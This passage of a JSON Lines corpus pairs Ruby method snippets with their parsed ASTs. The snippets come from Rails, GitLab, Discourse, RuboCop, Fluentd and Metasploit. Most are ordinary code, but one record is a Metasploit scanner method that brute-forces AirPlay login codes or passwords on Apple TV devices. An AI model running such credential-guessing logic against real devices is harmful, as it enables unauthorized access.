\",\"children\":[\"history\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"EmberENV\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"FEATURES\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"EXTEND_PROTOTYPES\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"APP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"discourse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"VERSION\"]},\"STRING\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"git_version\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testing\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"str\",\"children\":[\"test\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"locationType\"]},{\"type\":\"str\",\"children\":[\"none\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"APP\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"LOG_ACTIVE_GENERATION\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"APP\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"LOG_VIEW_LOOKUPS\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"APP\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"rootElement\"]},{\"type\":\"str\",\"children\":[\"#ember-testing\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"APP\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"autoboot\"]},{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"to_json\"]}]}]}","id":"1b51f5dc-0661-447a-9319-d9855c2b0fec"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/virtual_column_test.rb","start_line":120,"raw_source":"def test_build_fixture_sql\n      fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :virtual_columns).first\n      assert_equal 2, fixtures.size\n    end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_build_fixture_sql\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fixtures\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},\"create_fixtures\",{\"type\":\"const\",\"children\":[null,\"FIXTURES_ROOT\"]},{\"type\":\"sym\",\"children\":[\"virtual_columns\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fixtures\"]},\"size\"]}]}]}]}","id":"f0b7f8f4-78d5-430c-bf91-8fa65e4315d5"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/options.rb","start_line":22,"raw_source":"def initialize\n      @options = {}\n      @validator = OptionsValidator.new(@options)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@validator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionsValidator\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@options\"]}]}]}]}]}","id":"abeb3354-1eb4-4627-9c3b-5e32cd030b76"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":369,"raw_source":"def test_slice_bang_does_not_override_default_proc\n    hash = Hash.new { |h, k| h[k] = [] }\n    hash.update(a: 1, b: 2)\n\n    hash.slice!(:a)\n\n    assert_equal [], hash[:c]\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_slice_bang_does_not_override_default_proc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"slice!\",{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"c\"]}]}]}]}]}","id":"1fc90401-6ca0-422f-94e3-2244c7363a5d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/renderer.rb","start_line":5,"raw_source":"def initialize(message, opts = nil)\n      @message = message\n      @opts = opts || {}\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"0867450e-2886-4320-82cb-aed5606619fa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250818135735_add_columns_to_p_ci_builds.rb","start_line":7,"raw_source":"def up\n    add_column :p_ci_builds, :scoped_user_id, :bigint, if_not_exists: true\n    add_column :p_ci_builds, :timeout, :integer, if_not_exists: true\n    add_column :p_ci_builds, :timeout_source, :integer, limit: 2, if_not_exists: true\n    add_column :p_ci_builds, :exit_code, :integer, limit: 2, if_not_exists: true\n    add_column :p_ci_builds, :debug_trace_enabled, :boolean, if_not_exists: true\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"scoped_user_id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"timeout_source\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"exit_code\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"p_ci_builds\"]},{\"type\":\"sym\",\"children\":[\"debug_trace_enabled\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"if_not_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"54c01600-b572-4288-b41b-97a19c129f41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/prevent_adding_attr_encrypted_columns.rb","start_line":116,"raw_source":"def constant_assignment_matches?(node, name)\n          node.casgn_type? && node.name == name\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"constant_assignment_matches?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"casgn_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"46f09f47-df07-4c48-b717-d6ccc5ad42d4"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/test/channel/test_case_test.rb","start_line":143,"raw_source":"def test_stream_with_params\n    subscribe id: 42\n\n    assert_has_stream_for User.new(42)\n  end","complexity_score":3.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_stream_with_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscribe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[42]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_has_stream_for\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"int\",\"children\":[42]}]}]}]}]}","id":"3b20dd64-4542-4126-80db-4024af4215cb"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":154,"raw_source":"def test_hash_of_expressions_with_message\n    error = assert_raises Minitest::Assertion do\n      assert_difference({ \"@object.num\" => 0 }, \"Object Changed\") do\n        @object.increment\n      end\n    end\n    assert_equal \"Object Changed.\\n`@object.num` didn't change by 0, but by 1.\\nExpected: 0\\n  Actual: 1\", error.message\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_of_expressions_with_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_difference\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"@object.num\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"Object Changed\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"increment\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Object Changed.\\n`@object.num` didn't change by 0, but by 1.\\nExpected: 0\\n  Actual: 1\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"f9152d9b-f452-46f0-9a56-975ebe6bb098"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/appletv_login.rb","start_line":59,"raw_source":"def run_host(ip)\n    uri = \"/stop\"\n    if datastore['PASS_FILE'] && !datastore['PASS_FILE'].empty?\n      print_status(\"Attempting to login to #{uri} using password list\")\n      cred_collection = Metasploit::Framework::CredentialCollection.new(\n        blank_passwords: datastore['BLANK_PASSWORDS'],\n        pass_file: datastore['PASS_FILE'],\n        username: 'AirPlay',\n        user_as_pass: datastore['USER_AS_PASS']\n      )\n      cred_collection = prepend_db_passwords(cred_collection)\n    else\n      print_status(\"Attempting to login to #{uri} by 'Onscreen Code'\")\n      cred_collection = LockCodeCollection.new\n    end\n\n    scanner = Metasploit::Framework::LoginScanner::HTTP.new(\n      configure_http_login_scanner(\n        uri: \"/stop\",\n        cred_details: cred_collection,\n        stop_on_success: datastore['STOP_ON_SUCCESS'],\n        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n        connection_timeout: 5\n      )\n    )\n\n    scanner.scan! do |result|\n      credential_data = result.to_h\n      credential_data.merge!(\n        module_fullname: self.fullname,\n        workspace_id: myworkspace_id,\n        service_name: 'airplay'\n      )\n      case result.status\n      when Metasploit::Model::Login::Status::SUCCESSFUL\n        print_brute :level => :good, :ip => ip, :msg => \"Success: '#{result.credential}'\"\n        credential_core = create_credential(credential_data)\n        credential_data[:core] = credential_core\n        create_credential_login(credential_data)\n        :next_user\n      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT\n        print_brute :level => :verror, :ip => ip, :msg => \"Could not connect\"\n        invalidate_login(credential_data)\n        :abort\n      when Metasploit::Model::Login::Status::INCORRECT\n        print_brute :level => :verror, :ip => ip, :msg => \"Failed: '#{result.credential}'\"\n        invalidate_login(credential_data)\n      when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED\n        print_brute :level => :error, :ip => ip, :msg => \"NO AUTH REQUIRED: '#{result.credential}'\"\n        break\n      end\n    end\n  end","complexity_score":73.95,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"str\",\"children\":[\"/stop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to login to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" using password list\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"CredentialCollection\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank_passwords\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASS_FILE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"AirPlay\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_as_pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USER_AS_PASS\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[null,\"prepend_db_passwords\",{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to login to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"str\",\"children\":[\" by 'Onscreen Code'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LockCodeCollection\"]},\"new\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"scanner\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Framework\"]},\"LoginScanner\"]},\"HTTP\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"configure_http_login_scanner\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/stop\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cred_details\"]},{\"type\":\"lvar\",\"children\":[\"cred_collection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop_on_success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STOP_ON_SUCCESS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bruteforce_speed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BRUTEFORCE_SPEED\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scanner\"]},\"scan!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace_id\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"airplay\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"good\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Success: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"sym\",\"children\":[\"next_user\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"str\",\"children\":[\"Could not connect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]},{\"type\":\"sym\",\"children\":[\"abort\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"verror\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"invalidate_login\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"NO_AUTH_REQUIRED\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_brute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"msg\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"NO AUTH REQUIRED: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"credential\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]},{\"type\":\"break\",\"children\":[]}]}]},null]}]}]}]}]}","id":"8275a3e5-ebe2-4e8b-a554-a3659735de06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/relative_positioning/mover_spec.rb","start_line":170,"raw_source":"def min_position\n      project.issues.minimum(:relative_position)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"min_position\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"issues\"]},\"minimum\",{\"type\":\"sym\",\"children\":[\"relative_position\"]}]}]}","id":"21942d96-91fb-439f-bd4f-805769eea112"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward/connection_manager.rb","start_line":72,"raw_source":"def close(sock)\n        if @socket_cache\n          @socket_cache.checkin(sock)\n        else\n          sock.close_write rescue nil\n          sock.close rescue nil\n        end\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@socket_cache\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@socket_cache\"]},\"checkin\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"close_write\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}","id":"aed27002-d04a-4682-82fd-22ab7b458c1b"}
